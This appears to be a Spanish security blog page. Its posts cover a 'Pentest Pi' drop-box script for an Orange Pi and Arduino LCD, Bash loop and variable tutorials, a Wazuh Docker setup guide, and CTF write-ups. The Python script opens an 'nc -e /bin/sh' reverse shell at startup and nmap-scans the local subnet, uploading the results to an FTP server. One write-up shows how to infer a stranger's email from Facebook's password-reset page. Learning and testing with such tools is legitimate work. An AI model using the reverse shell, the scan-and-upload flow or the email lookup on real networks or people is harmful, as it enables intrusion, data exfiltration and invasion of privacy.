Ahora pasemos al Python. La gente de The Hackers Garage nos da un script que utiliza los GPIO de la Orange Pi para comunicarse con la LCD y los botones, pero nosotros ya no necesitamos esto, así que toca modificar un poco el código:

#!/usr/bin/python
import time
from socket import socket, SOCK_STREAM, SOCK_DGRAM, AF_INET
import string
import re
import os
import sys
import subprocess 
import serial
import urllib #Used to display the Public IP address.
from subprocess import PIPE
import ftplib #Used to upload Nmap scan results to FTP server.
from datetime import datetime # Used the genreate the filename used in the packet capture dump


#Change thease values so that the dumped file is uploaded to your FTP server.
ftp_server = ""
ftp_username = ""
ftp_password = ""
#Reverse shell IP
connectingClientIP = "127.0.0.1"

# Button mapping
#button_reset  = connector.gpio1p40
#button_analog  = connector.gpio1p38

# Define some device constants
LCD_WIDTH = 16    # Maximum characters per line
LCD_CHR = True
LCD_CMD = False

LCD_LINE_1 = 0 # LCD RAM address for the 1st line
LCD_LINE_2 = 1 # LCD RAM address for the 2nd line

# Timing constants
E_PULSE = 0.0005
#E_DELAY = 0.0005
E_DELAY = 0.5
output = "NO"

ser = serial.Serial('/dev/ttyACM0', 9600)
global p
def main():
# Main program block
  analog_pressed=5;
  socketMain = socket(AF_INET,SOCK_STREAM)
  lcd_init(ser)

  #Contains all modules which can be run on the device. The key is the displayed name on the LCD and the value is the function name
  modules = {'SSHTunnel status': 'reverseSSH',
             'NMAP Scan&Upload': 'nmapScanUpload',
             'ConnectivityTest': 'connectivityTest'}
  displayText = modules.keys()
  # Checks if the script has been run as root.
  if os.getuid() == 0:
    lcd_string("Pentest Pi",LCD_LINE_1)
    lcd_string("Select an option",LCD_LINE_2)
  else:
    lcd_string("Run the script",LCD_LINE_1)
    lcd_string("with root",LCD_LINE_2)
  try:
    cmd = "nc -e /bin/sh " + connectingClientIP + " 22"
    global p
    p = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    print "Reverse shell connecting.."
  except OSError as e:
    print >>sys.stderr, "Execution failed:", e

  while True:    
    value_out = 0
    menuOption = 0
    analog_pressed = read_button(ser)

    if (analog_pressed == 4):
        time.sleep(0.5)
        lcd_clear()
        lcd_string(displayText[menuOption], LCD_LINE_1)
        lcd_string("<previous  next>", LCD_LINE_2)
        while True:
            analog_pressed = read_button(ser)
            #reset_pressed = gpio.input(button_reset
            if (analog_pressed == 0):
                menuOption = menuOption + 1
                if menuOption > len(modules) - 1:
                    menuOption = 0
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 3):
                menuOption = menuOption - 1
                if menuOption < 0:
                    menuOption = len(modules) - 1
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 4):
                globals().get(modules[displayText[menuOption]])()
                time.sleep(0.5)
                break
def read_button(ser):
  if ser.in_waiting:
    button=ser.readline()
    return int(button)

def lcd_init(ser):
  # Initialise display
  ser.write("clear_lcd")
  time.sleep(2)

def lcd_clear():
  ser.write("clear_lcd")
  time.sleep(E_DELAY)

def getPublicIP():
    publicIPUrl = urllib.urlopen("http://ipinfo.io/ip")
    publicIPre = re.findall( r'[0-9]+(?:\.[0-9]+){3}', publicIPUrl.read())
    return publicIPre[0]

def getPrivateIP():
    s = socket(AF_INET, SOCK_DGRAM)
    s.connect(('google.com', 0))
    privateIp = s.getsockname()
    return privateIp[0]

def reverseSSH():
    global p
    p.poll()
    print 'Reverse Shell Status'
    if p.returncode == None:
      lcd_string("Shell Started",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)
    else:
      lcd_string("Shell Failed",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)  
    functionBreak()
 
def nmapScanUpload():
    print 'Nmap Scan & Upload'
    ipToScan = getPrivateIP()
    #Generates the ip address that can be fed into the nmap command. This simple replaces the 4th octet with a 0 and appends a /24 to scan the class C subnet.
    ipToScan = ipToScan[:string.rfind(ipToScan, '.') + 1] + '0/24'
    index = string.rfind(ipToScan, '.')
    print index
    print ipToScan
    #Starts the bridge interface and sets the display.
    nmapScan = subprocess.Popen('nmap ' + ipToScan + ' -oN nmapoutput.txt', shell=True, stderr=PIPE)
    lcd_clear()
    lcd_string("Running",LCD_LINE_1)
    lcd_string("Nmap Scan",LCD_LINE_2)
    error = nmapScan.communicate()
    errorCheck(error, 'NMAP Failed', 'Scan Complete')
    lcd_clear()
    lcd_string("Scan",LCD_LINE_1)
    lcd_string("Complete",LCD_LINE_2)
    time.sleep(1)
    lcd_clear()
    lcd_string("Uploading",LCD_LINE_1)
    lcd_string("File",LCD_LINE_2)
    #Starts FTP session
    ftpSession = ftplib.FTP(ftp_server, ftp_username, ftp_password)
    #ftpSession.cwd('nmap')
    #Opens file to be uploaded
    file = open('nmapoutput.txt', 'rb')
    #Uploads the File
    ftpSession.storbinary('STOR nmapoutput.txt', file)
    file.close()
    ftpSession.quit()
    lcd_clear()
    lcd_string("Upload",LCD_LINE_1)
    lcd_string("Successful",LCD_LINE_2)
    time.sleep(3)
    functionBreak()

def connectivityTest():
    print 'Connectivity Test'
    #Pings google.com
    thePing = subprocess.Popen('ping -c 5 google.com', shell=True, stdout=PIPE, stderr=PIPE)
    lcd_clear()
    lcd_string("Testing",LCD_LINE_1)
    lcd_string("Connectivity",LCD_LINE_2)
    pingOut, pingErr = thePing.communicate()
    #If the ping fails ping 8.8.8.8
    lcd_clear()
    if len(pingErr) > 0:

        thePing = subprocess.Popen('ping -c 5 8.8.8.8', shell=True, stdout=PIPE, stderr=PIPE)
        pingOut, pingErr = thePing.communicate()
        print 1
        #If pinging 8.8.8.8 fails display there is no internet connection
        if len(pingErr) > 0:
            lcd_string("No Internet",LCD_LINE_1)
            lcd_string("Connection",LCD_LINE_2)
            print 2
        #If pinging 8.8.8.8 succeeds, display there is no DHCP service available for the SlyPi to use.
        else:
            lcd_string("No DHCP",LCD_LINE_1)
            lcd_string(" Available",LCD_LINE_2)
            print 3
        functionBreak()
    else:
        privateIP = getPrivateIP()
        publicIP = getPublicIP()
        print privateIP
        print publicIP
        #Displays the public and private IP addresses on the LED screen.
        lcd_string(privateIP,LCD_LINE_1) 
        lcd_string(publicIP,LCD_LINE_2)
        time.sleep(3)
        functionBreak()

def functionBreak():
    while read_button(ser):
        os.execl('/home/kalrong/thg.py', '')

def errorCheck(error, failedMessage, succeedMessage):
    lcd_clear()
    if 'brctl: not found' in error:
        lcd_string("Failed",LCD_LINE_1)
        lcd_string("Install brctl",LCD_LINE_2)        
    elif len(error[1]) == 0:
        lcd_string(succeedMessage,LCD_LINE_1)
        time.sleep(3)
    elif len(error[1]) > 0:
        lcd_string(failedMessage,LCD_LINE_1)
        time.sleep(2)
    error = 0

def lcd_string(message,line):
  # Send string to display

  message = message.ljust(LCD_WIDTH," ")
  ser.write(bytes(message+","+str(line)))
  time.sleep(E_DELAY)
if __name__ == '__main__':

  try:
    main()
  except KeyboardInterrupt:
    pass
  finally:
    lcd_clear()
    lcd_string("Goodbye!",LCD_LINE_1)
    ser.close()

Si tenéis la misma caja quizás os hayáis encontrado con el mismo problema que yo, y es que las funciones de connectivityTest y reverseSSH no funcionaban como se esperaba, en el código de arriba he solucionado dichos problemas.

Como podéis ver en el código para la comunicación con el Arduino utilizamos la librería Serial de python (pip install pyserial) y utilizamos las funciones lcd_string, lcd_init, lcd_clear y read_button para interactuar con el mismo.

Para evitar modificar demasiado el código y que se pudieran hacer comparaciones he reutilizado lo máximo el código que se nos da, como por ejemplo las constantes LCD_LINE que especifican la linea de la pantalla donde deseamos imprimir. Por pura estética también he añadido un mensaje de previous/next en el menú.

Una vez hayamos cargado el código en nuestro Arduino debemos editar el código para especificarle el puerto serial donde está nuestro Arduino en la variable “ser”. Si todo ha ido bien ahora podremos ejecutar el script y veremos como se van mostrando mensajes en nuestra LCD.

Para acceder al menú pulsaremos el botón Select y luego navegaremos con los botones de derecha e izquierda por el menú y seleccionamos nuevamente con Select.

¿Problemas? Principalmente la latencia que se genera en la comunicación por el puerto serie, como veis no he implementado ningún tipo de ACK por ninguna de las dos partes así que se utilizan sleeps en el código python para controlar esta latencia. En mi caso a veces necesito reiniciar el Arduino ya que se “laggea” y no muestra los mensajes correctamente.

Otra vez insistir que esto es un simple POC y el código se puede mejorar muchísimo jeje

Un par de fotos de la LCD funcionando:

La primera opción del menú:

Resultado del check de la reverse shell:

Mensaje de inicio del script:

Espero os haya gustado y cualquier duda o pregunta dejadme un comentario y contestaré en cuanto pueda.

Saludos y, como siempre, gracias por vuestra visita!

Mención especial a Javi del grupo de Telegram de los conejos que me “instigó” de forma indirecta a realizar este proyecto jeje

Publicado en arduino, DIY, python | Deja un comentario

Tutoriales sobre Bash Scripting II : Bucles For, Until y While

Continuando con los tutoriales sobre Bash hoy os voy a hablar de los bucles for, until y while.

En ambos casos la sintaxis es la mismas para los bucles until y while, siendo for una pequeña excepción:

for variable in lista
do
...
done

until <condicion>
do
...
done

while <condición>
do
...
done

En una sola linea:

for variable in lista; do ... ; done

until <condicion>; do ... ; done

while <condición>; do ...; done

Comencemos con el bucle for. Este quizás os suene de otros lenguajes, tanto de programación como de comandos, suele ser utilizado cuando queremos que el bucle se ejecute un número determinado de veces. Siguiendo la sintaxis mostrada arriba: por cada elemento/linea en lista el bucle se ejecutara una vez y ese elemento será guardado en variable. Vamos a ver un pequeño ejemplo:

#!/bin/bash

lista="1
2
3
4
"

for variable in $lista
do
        echo $variable
done

En este ejemplo vemos que he definido una variable lista con 4 elementos/lineas, el bucle for entonces recorre la variable lista obteniendo la información en cada elemento/linea y haciendo un echo de la misma. El bucle for no solo admite este tipo de listados sino que también puede recibir el output de la ejecución de un comando:

#!/bin/bash

for variable in $(echo "1"; echo "2")
do
        echo $variable
done

En este caso el resultado de los dos echos serian dos lineas, esto bien podría ser el resultado de un ls; y el bucle for tomara cada una de esas lineas y la guardara en variable en cada ciclo.

También podemos utilizar rangos:

#!/bin/bash

for variable in {0..10}
do
        echo $variable
done

Esto imprimirá los números del 0 al 10, en algunos casos nos puede interesar obtener los números en el formato 01 o 001 por ejemplo, esto se consigue fácilmente añadiendo dicho número de 0 en el rango, por ejemplo, {00..10} nos dará la seria 00,01,02,..,10.

Para aquellos que como yo vengais de C quizás os guste más un for de este estilo:

#!/bin/bash

for (( variable=0; variable<=10; variable++ ))
do
        echo $variable
done

Este bucle funciona exactamente igual que en C y otros lenguajes que utilizan una sintaxis similar. Notar el doble paréntesis y los espacios entre los mismos y la definición del bucle.

Los bucles Until y While son prácticamente idénticos, la diferencia reside en la condición para que estos se ejecuten:

  • Until: Se ejecutará hasta que la condición sea verdadera.
  • While: Se ejecutará mientras la condición sea verdadera.

Veamos dos ejemplos:

#!/bin/bash

condicion=20

until [ $condicion -lt 10 ]
do
        echo $condicion
        let condicion=condicion-1
done

En este caso el bucle se ejecutará y nos mostrara los números del 20 al 10 en orden descendente. ¿Que pasa si hacemos lo mismo con while?

#!/bin/bash

condicion=20

while [ $condicion -lt 10 ]
do
        echo $condicion
        let condicion=condicion-1
done

En este caso el script no muestra nada ya que la condición es falsa desde un principio.

Como comentaba antes en los bucles for al estilo C muchas veces he echado poder realizar un bucle do..while pero este no existe en Bash, para esos casos me he decantado por utilizar el Until ya que es lo más parecido.

En ambos casos podemos realizar bucles infinitos, simplemente les diremos que la condición es true para while y false para until, de esta manera el bucle nunca terminara ¿o si?

Existirán veces en que necesitemos controlar los diferentes bucles desde dentro de los mismos, para esto existen las ordenes:

  • continue: Para el ciclo actual del bucle y pasa al siguiente ignorando el resto de comandos.
  • break: Sale del bucle y continua con la ejecución del script.

Veamos un ejemplo:

#!/bin/bash

condicion=20

while true
do
        echo $condicion

        if [ $condicion -eq 15 ]
        then
                let condicion=condicion-2
                continue
        elif [ $condicion -eq 10 ]
        then
                break
        else
                let condicion=condicion-1
        fi
done


Como veis he creado un bucle infinito donde el while siempre se cumplirá pero he añadido ciertas condiciones dentro del mismo para tener control y que no se ejecute por siempre jamás.

La primera condición se cumple cuando la variable condición es igual a 15, el bucle entonces restará 2 en lugar de 1 y pasara al siguiente ciclo; esto hará que se salte el número 14.

La segunda condición se cumple cuando la variable condición es igual a 10 y le dice al bucle que debe finalizar.

Como veis he utilizado los condicionales if, elif y else que todavía no hemos visto y que trataré en detalle en la siguiente parte de esta serie de tutoriales.

Espero que os haya gustado, y como siempre, cualquier duda dejad un comentario y os contestaré gustosamente.

Saludos y gracias por vuestra visita!

Publicado en bash, tutorial | Deja un comentario

Tutoriales sobre Bash Scripting I : Introducción

Hoy os traigo la primera parte de lo que espero sea una nueva serie de posts sobre Bash Scripting.

Para aquellos que me conozcáis de CTF’s o si habéis leido mis writeups os habréis dado cuenta que este lo utilizo muchísimo y tengo fijación por los scripts en una sola linea, esto es una preferencia mía, así que no quiero que os llevéis la idea errónea de que es mejor hacer un script en una linea que hacerlo en un archivo como dios manda jeje Esta manía surge de la necesidad de ejecutar un gran número de comandos en muchos servidores en mi trabajo y, aunque existen otras maneras de hacerlo, me acostumbre a escribirlos todos en una linea y pasarselos a ssh para su ejecución.

Pero vamos a empezar por saber que es Bash. Bash es una shell Unix y lenguaje de comandos que se publicó haya por 1989 y es quizás uno de los más usandos, estando presente en muchas distribuciones Linux, macOS e incluso habiendo una versión para Windows.

El hecho de que sea tan usado me ha ayudado en muchos casos donde me encontraba con diferentes distribuciones donde una de las pocas cosas en común era precisamente esta, lo cual me ha hecho sentirme muy cómodo a la hora de realizar diferentes tareas.

Otra de las cosas por las que me suelo decantar por realizar los scripts en bash es la posibilidad de utilizar el amplio abanico de utilidades de las que disponga el sistema como, por ejemplo, llamar a un script de python para que me realice una acción que de otra forma no podría, o sería demasiado compleja, de realizar solo con bash.

Pero menos chachara y vamos al lio, como realmente Bash es un lenguaje de comandos lo que vamos a hacer es utilizar los propios comandos de Linux para realizar nuestros scripts ¿Que significa esto? Que en lugar de explicaros que hace un cat o un echo, vamos a irnos directamente a ver ejemplos prácticos.

Vamos a comenzar con algunas cosas básicas: estructura, argumentos y variables.

La estructura de Bash no tiene demasiada ciencia, básicamente para Bash cada linea es un comando a ejecutar; en caso de que lo ejecutes desde la linea de comandos Bash interpreta los “;” como saltos de linea, de tal manera que:

#!/bin/bash

echo "primera linea"; echo "segunda linea"

# es igual a:

echo "primera linea"
echo "segunda linea"

Sencillo ¿verdad? Vamos a seguir utilizando el mismo script para ver como podemos utilizar las variables:

#!/bin/bash

1="primera linea"
segunda="segunda linea"

echo $1; echo $segunda

echo $1
echo $segunda

Vemos que para definir una variable simplemente debemos escribir su nombre, para luego obtener su contenido la llamaremos con la sintaxis “$nombre_de_la_variable”

Si ejecutamos este script veremos que solo nos muestra el mensaje “segunda linea” precedido de una linea en blanco, esto es debido a que las variables cuyo nombre son inválidos aunque Bash no muestre ningún error. La variable “$1” para bash realmente es una constante que significa “primer argumento pasado al script”, de tal manera que si al mismo script le pasamos como primer argumento “algo” veremos que este mensaje aparece donde debería aparece “primera linea”. Así que si nuestro script requiere X argumentos los llamaros utilizando la sintaxis “$X” donde X es la posición del argumento pasado al script.

Ahora veamos otra versión del mismo script:

#!/bin/bash

primera="primera linea"
segunda="segunda linea"

echo "$primera"; echo '$segunda'

echo "$primera"
echo '$segunda'

Esta vez hemos nombrado de forma correcta las variables pero en este caso las hemos incluido entre comillas, al ejecutar este script veréis que de la variable “$segunda” no obtenemos su contenido sino que vemos ese mismo texto. Esto se debe a que si incluimos una variable dentro de comillas simples Bash lo interpreta literalmente y no como una variable.

Ahora vamos a ver como podemos asignarle el valor obtenido de otro comando a una variable:

#!/bin/bash

primera=$(hostname)
segunda="segunda linea"

echo "$primera"; echo "$segunda"

echo "$primera"
echo "$segunda"

Como podemos ver ahora en lugar de asignarle un valor a la variable “primera” lo que hago es decirle que ejecute el comando hostname y guarde el contenido en la misma. Esto se aplica no solo a variables, sino en cualquier momento que queramos utilizar el resultado de un comando podemos hacerlo utilizando la sintaxis “$()” como, por ejemplo, en un if.

Bash además tiene una serie de variables especiales que os listo a continuación:

  • $1, $2, $3, … argumentos posicionales de los que ya hablamos.
  • "$@" especie de array que contiene los argumentos posicionales, {$1, $2, $3 ...}.
  • "$*" expansión IFS (Internal Field Separator) de los argumentos posicionales, $1 $2 $3 ....
  • $# número de argumentos posicionales.
  • $- opciones para la shell actual.
  • $$ pid de la shell actual (no subshell).
  • $_ parámetro más actual.
  • $IFS es el (input) field separator.
  • $? código de salida del último comando ejecutado en primer plano.
  • $! pid del comando más reciente ejecutado en segundo plano.
  • $0 nombre de la shell o script.

Creo que con esto he cubierto lo básico para que podáis empezar a jugar un poco con Bash y construir vuestros primeros scripts. En caso de que tengáis dudas o creáis que me haya saltado algo dejarme un comentario y os ayudaré en lo que pueda.

Espero os haya gustado, gracias por la visita; saludos!

Publicado en bash, tutorial | Deja un comentario

Como instalar wazuh utilizando docker

Hola a todos!

Este post lleva bastante tiempo en mis pendientes y lo he ido retrasando debido a unos cambios que se produjeron en los containers de wazuh para su nueva versión 2.0; ahora que ya he tenido la oportunidad de probarlo creo que va siendo hora de que os cuente algo sobre el tema.

Pero, antes de nada, creo que debería de contaros que es Wazuh. Wazuh es un HIDS (Host Intrusion Detection System) que además puede actuar como un HIPS (Host Intrusion Prevention System), inicialmente basado en un fork de Ossec; en los últimos meses se han ido desligando cada vez más del mismo y han ido incluyendo muchas más funcionalidades y otras aplicaciones de su propia cosecha ampliando las funcionalidades de Ossec considerablemente.

Este post se basa en la versión disponible, a día de hoy, de la 2.0; esta versión todavía está en fase de desarrollo e irá contando con muchas más funcionalidades en un tiempo próximo.

En su versión 2.0 Wazuh ha optado por, en lugar de utilizar un macro container con todo dentro, en separar las distintas partes del mismo para facilitar así temas como actualizaciones de una aplicación en concreto por ejemplo. Así, tendremos 4 containers: 1 para wazuh en sí (Ossec); y los 3 correspondientes a ELK (Elasticsearch, Logstash y Kibana).

Como es lógico necesitaréis tener instalado docker y, para hacerlo todo mucho más sencillo, docker-compose.

En este post os deje un pequeño script que os puede ayudar a instalar docker de manera muy sencilla. En el caso de docker-compose, aquí os dejo el link a la documentación original de como instalarlo; en mi caso, curiosamente, en algún equipo estaba disponible en los repositorios del propio docker.

Una vez tengamos ambas aplicaciones listas, necesitaremos descargar el archivo docker-compose que nos ayudará a levantar todo nuestro servidor. Este lo podremos obtener en https://github.com/wazuh/wazuh-docker . También podéis ver que existen más archivos dentro del repositorio, aunque solamente el docker-compose.yml es necesario, yo he preferido clonarlo todo para poder ver las distintas configuraciones utilizadas, así que voy a asumir que sois igual de curiosos que yo y hacemos:

git clone https://github.com/wazuh/wazuh-docker

Esto nos clonará, en el directorio actual, todo el repositorio. En caso de que no tengáis git o solamente queráis el archivo docker-compose, podéis descargarlo directamente con wget o lo que mejor os convenga de la siguiente manera:

wget https://raw.githubusercontent.com/wazuh/wazuh-docker/master/docker-compose.yml

En caso de que queramos que la información de los containers no se destruya junto con estos mismos necesitaremos crear unas carpetas que luego mapearemos (perdonad el palabro) a dichos containers y que guardaran nuestras configuraciones y demás información en nuestro sistema.

Por defecto necesitaréis 3 directorios, en mi caso cree 4, os explico porqué. Uno de los problemas que tiene Ossec es que no soporta autenticación en smtp para enviar correos así que si nuestros servidor saliente necesita de esta tendremos que configurar un relay para que Ossec, o Wazuh en este caso, pueda enviar notificaciones de correo. Para evitar tener otro container aparte yo instalé postfix en el container de Wazuh y cree una carpeta para guardar la configuración del mismo, está es totalmente opcional y no hablaré de ello en esta guía para no complicaros más la vida sino que creare un post aparte con lo pasos que seguí.

Una vez hayáis decidido donde queréis crear las carpetas, en mi caso /var, las creamos y modificamos el archivo docker-compose.yml con nuestro editor favorito; descomentamos las lineas de los volumenes y cambios my-path por el path a nuestras carpetas, en mi caso se vería así:

version: '2'

services:
  wazuh:
    image: wazuh/wazuh
    hostname: wazuh-manager
    restart: always
    ports:
      - "1514/udp:1514/udp"
      - "1515:1515"
      - "514/udp:514/udp"
      - "55000:55000"
    networks:
        - docker_elk
    volumes:
      - /var/wazuh:/var/ossec/data
    depends_on:
      - elasticsearch
  logstash:
    image: wazuh/wazuh-logstash
    hostname: logstash
    restart: always
    command: -f /etc/logstash/conf.d/logstash.conf
    volumes:
      - /var/logstash/config:/etc/logstash/conf.d
    links:
     - kibana
     - elasticsearch
    ports:
      - "5000:5000"
    networks:
        - docker_elk
    depends_on:
      - elasticsearch
    environment:
      - LS_HEAP_SIZE=2048m
  elasticsearch:
    image: elasticsearch:5.2.2
    hostname: elasticsearch
    restart: always
    command: elasticsearch -E node.name="node-1" -E cluster.name="wazuh" -E network.host=0.0.0.0
    ports:
      - "9200:9200"
      - "9300:9300"
    environment:
      ES_JAVA_OPTS: "-Xms2g -Xmx2g"
    volumes:
      - /var/elasticsearch:/usr/share/elasticsearch/data
    networks:
        - docker_elk
  kibana:
    image: wazuh/wazuh-kibana
    hostname: kibana
    restart: always
    ports:
      - "5601:5601"
    networks:
        - docker_elk
    depends_on:
      - elasticsearch
    entrypoint: sh wait-for-it.sh elasticsearch

networks:
  docker_elk:
    driver: bridge
    ipam:
      config:
      - subnet: 172.25.0.0/24

Probablemente os habréis fijado que en el caso de logstash yo he creado un subdirectorio llamado config dentro de la carpeta de logstash, esto es preferencia mía simplemente.

Antes de iniciar nada, debemos modificar un parámetro con sysctl para aumentar la cantidad de memoria disponible para las vm’s ya que sino logstash se quejará de que no tiene suficiente memoria:

sysctl -w vm.max_map_count=262144

Con esto ya deberíamos tener todo listo para arrancar, utilizaremos la opción “-d” para enviarlos a segundo plano ya que sino lanzaran todos sus logs por pantalla y será dificil hacer cualquier tipo de debug:

docker-compose up -d

Este comando, y sus derivados como stop o down, debe ser lanzado siempre en la misma carpeta del docker-compose.yml, ya que al igual que con docker build, este automáticamente busca este archivo.

Los containers arrancaran todos a la vez pero tanto el de logstash como el de kibana esperaran de forma interna a que elasticsearch este funcionando para terminar de iniciar. Podéis comprobar los logs de cada uno utilizando el siguiente comando:

docker logs wazuhdocker_<app>_1

Donde app será una de las 4 aplicaciones: wazuh, logstash, elasticsearch o kibana.

Si todo ha salido bien podremos acceder a kibana en el puerto 5601 de nuestro servidor de docker. El siguiente paso será añadir agentes al mismo.

Tanto Wazuh como Ossec soportan recibir información de agentes tanto con o sin su agente instalado, el segundo caso solo suele ser recomendable en casos donde no podemos instalar el cliente, bien sea por permisos, bien sea porque no es posible hacerlo, un router por ejemplo. No suele ser recomendable porque en ese caso perderíamos la oportunidad de utilizar las opciones de IPS al no poder ejecutar comandos en el agente ni administrarlo de forma remota, por ejemplo: tenemos un router con OpenWRT, al no tener agente para este SO hacemos que syslog envíe la información al servidor de Wazuh directamente; esta se procesará igual que las de un agente normal pero en caso de intrusión no se ejecutara ninguno de los scripts de respuesta activa para prevenirlo.

Podéis encontrar los agentes para distintas plataformas en este link. Una vez instalado el agente tenemos que registrarlo en el servidor para que pueda comunicarse con el mismo. Para esto existen dos métodos: manual o utilizando ossec-authd. Para empezar yo prefiero el primer método, aunque pueda parecer engorroso al principio creo que es el mejor para ir viendo como funcionan los diferentes scripts de Wazuh. Existe un conflicto entre el método manual y ossec-authd que hace que no podamos registrar un nuevo cliente si tenemos el segundo funcionando a la vez, para evitar esto vamos a matar dicho proceso; primero nos conseguimos shell en el container de wazuh:

docker exec -it wazuhdocker_wazuh_1 /bin/bash

Utilizamos ps para localizar el PID del proceso de ossec-authd:

ps aux | grep ossec-authd

Y procedemos a terminarlo con kill, en mi caso el PID era el número 11:

kill 11

Volvemos a comprobar con el anterior comando de ps que el proceso ha desaparecido y seguimos con el proceso de registro. El script en cuestión lo podremos ejecutar ya en la shell que tenemos ahora mismo abierta o, para no andar abriendo shells cada vez que queramos registrar un nuevo agente, utilizaremos el siguiente comando:

docker exec -it wazuhdocker_wazuh_1 /var/ossec/bin/manage_agents

Igualmente podemos ejecutar dicho comando en la shell, este nos devolverá un menú. Seleccionamos la opción “A” para añadir un nuevo agente, y cubrimos los datos que nos pide; el ID podéis dejar el que os da ya que es autoincremental, a no ser que queráis especificar uno en concreto.

Una vez finalizado el registro del agente nos devolverá al menú inicial, ahora debemos seleccionar la opción “E” para obtener la llave que le pasaremos a nuestro agente. El script nos mostrara todos los clientes registrados y debemos introducir el ID del que nos interesa; esto nos devolverá un string codificado en base64 que deberemos copiar para pasarselo a nuestro agente.

Ahora nos vamos al servidor donde hayamos instalado el agente, solo he probado los agentes de linux y windows así que me limitaré a estos:

Linux:

Ejecutamos el siguiente comando:

/var/ossec/bin/manage_agents

Veréis que es exactamente el mismo script que hemos utilizando en el manager para añadir los clientes, tanto el agente como el manager se instalan ambos en el mismo directorio; en este caso solo se nos muestra una opción aparte de la de exit y es importar la key que copiamos anteriormente, seleccionamos la opción “I” y copiamos la key. Reiniciamos el cliente para que se apliquen los cambios:

/etc/init.d/wazuh-agent restart

Si todo ha ido bien podremos ver el agente conectado en kibana.

Windows:

En el cliente de windows quizás es mucho más sencillo, simplemente debemos copiar la en el campo Authentication Key como se muestra en la siguiente imagen:

También debemos especificar la dirección del servidor de Wazuh/Ossec, hacemos click en save y veremos como se actualiza la información del campo Agent.

Reiniciamos el cliente haciendo click en manage-> restart:

Si todo ha ido bien veremos el agente en kibana.

Una vez hayamos conseguido añadir algunos agentes ya podremos comenzar a ver información en kibana y disfrutar de los diferentes dashboards que la gente de Wazuh ha preparado para nosotros. Ya tenéis un HIDS totalmente funcional.

Como nota importante comentaros que si actualizais el container muy probablemente los cambios que hayáis hechos en la configuración volveran a default, por defecto Wazuh genera un backup de vuestra configuración antigua así que no os tenéis que preocupar de perderla. En el caso de las reglas, la best practice, y para no perder los cambios ya que estos archivos no se tocan en los updates; será añadirlos a los archivos local_rules.xml o local_decoder.xml localizados en /var/ossec/etc/ en las carpetas rules y decoders. Pero sobre esto hablaré en futuros post.

En caso de que tengáis algún problema los logs de ossec se guardan por defecto, tanto para el manager como para los agentes, en la carpeta /var/ossec/logs; recordad que en el caso del manager, al haber mapeado dicha carpeta, podéis acceder directamente a la carpeta logs en el path que le hayáis especificado sin tener que conectaros al container.

Con esto ya tendríais una instalación básica pero funcional de Wazuh y podéis empezar a familiarizaros con su interfaz de kibana y ver las distintas opciones que nos ofrece, Wazuh nos ofrece muchas más posibilidades como añadir checks de OpenSCAP a nuestros agentes, notificaciones de correo, despliegue de configuración remota a los agentes, ejecución de scripts en remoto, y un largo etc. Pero eso serán cosas para otro post.

Espero que os haya gustado el post y os sea útil, para cualquier duda podéis dejarme un comentario aquí y os animo a pasaros por la lista de correo de Wazuh:

wazuh@googlegroups.com

Saludos, y como siempre, gracias por vuestra visita!

Publicado en docker, tools, tutorial, wazuh | Deja un comentario

MariaPitaDefCon 2017 – Un mensaje inesperado (30 ptos)

Y aquí tenemos el último writeup correspondiente al primer día de ctf.

06/03/2017

Un mensaje inesperado

(30 pts)

Lo que me faltaba! Esto ya es el colmo. Me acaba de llegar un whatsapp de un número desconocido. Y me ha enviado esta imagen…

Y nada más…, pero esto que es! Por lo menos hubiera dejado un mensaje diciendo algo sobre ella. Porque supongo que esta imagen, así sola, no significa nada no?

En este caso la categoría era claramente estego, así que lo primero que hice fue irme a GIMP para jugar un poco con los colores, luego de probar varias cosas como curvas, etc, en el mapa alienígena, al jugar con la frecuencia del rojo veo lo siguiente:

Eso parece un QR, vamos a intentar limpiarlo un poco más a ver:

Efectivamente, al eliminar los colores azul y verde nos encontramos con un QR, lo leemos y obtenemos la flag:

Congratulations!

Publicado en ctf, estego, mariapitadefcon, trileuco, writeups | Deja un comentario

MariaPitaDefCon 2017 – Facebook entra en juego (15 ptos)

Seguimos con los writeups del primer día del CTF de la MariaPitaDefCon.

06/03/2017

Facebook entra en juego

(15 pts)

No te lo vas a creer! Me acaban de agregar una persona en facebook que no tengo ni idea de quién es!

Se trata de una tal almudena.juan.94… Pero es que lo extraño es que en su perfil no tiene nada publicado!

No entiendo nada… Supongo que si tuviéramos su correo electrónico podríamos localizarla mejor no?

Me podrías ayudar tú? Dime que sí…

Este es el primero de una serie de 3 retos diseñados por netting (https://netting.wordpress.com/) que acompañados de su charla durante la MariaPita nos ayudó a concienciarnos sobre la importancia de la privacidad en facebook.

Por si no lo sabíais Facebook, en su opción para resetear tu contraseña, nos permite utilizar distinta información para identificar la cuenta: email, número de teléfono o nombre de usuario. En este caso disponemos de este último así que nos vamos a la página de recuperar contraseña y utilizamos dicho nombre de usuario:

Como podéis ver obtenemos el dominio, y la primera y la última letra, así como la longitud del usuario, aunque este último sale parcialmente oculto. Con toda esta información podemos deducir que el usuario es almudenajuan y el servidor de correo hotmail.

Después de validar confirmamos que la flag es: almudenajuan@hotmail.com

Publicado en ctf, facebook, mariapitadefcon, trileuco, writeups | Deja un comentario

MariaPitaDefCon 2017 – El comienzo (10 ptos)

Hoy os traigo los writeups de las pruebas que conseguí resolver durante la MariaPitaDefCon que se celebró esta semana pasada en A Coruña.

Las iré poniendo según en el orden en que las fueron abriendo, comencemos:

06/03/2017

El comienzo

(10 pts)

Por fin!!!

No sabes el tiempo que hace que te espero. Me han dicho que tú eres el único en quién puedo confiar y quién me puede ayudar a resolver este rompecabezas…

No se por dónde empezar, lo único que te puedo decir, es que me ha llegado una carta con una palabra: Trileuco…

Pero qué es esto? No tengo ni idea de a que se refiere…, a ver si me puedes echar una mano, te lo suplico…

Bueno, para empezar nos dan una simple palabra, Trileuco; es el nombre de la compañía que organiza el CTF así que vamos a su web a investigar un poco…

A simple vista no vemos nada así que, como siempre, nos vamos al código fuente, y nos encontramos lo siguiente:

¿Soy yo, o eso es un base64? Decodificamos:

